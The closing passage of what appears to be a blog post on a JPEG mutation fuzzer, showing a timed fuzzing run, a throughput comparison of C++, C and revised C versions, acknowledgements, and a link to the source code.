h0mbre:~$ time ./cfuzz2 Canon_40D.jpg 200000
<snipped_results>

real    8m30.371s
user    6m10.219s
sys     2m2.098s

Summary of Results

  • C++ Fuzzer – 310 iterations/sec
  • C Fuzzer – 329 iterations/sec (+ 6%)
  • C Fuzzer 2.0 – 392 iterations/sec (+ 26%)

Thanks to @lcamtuf and @carste1n for the help.

I’ve uploaded the code here: https://github.com/h0mbre/Fuzzing/tree/master/JPEGMutation

❌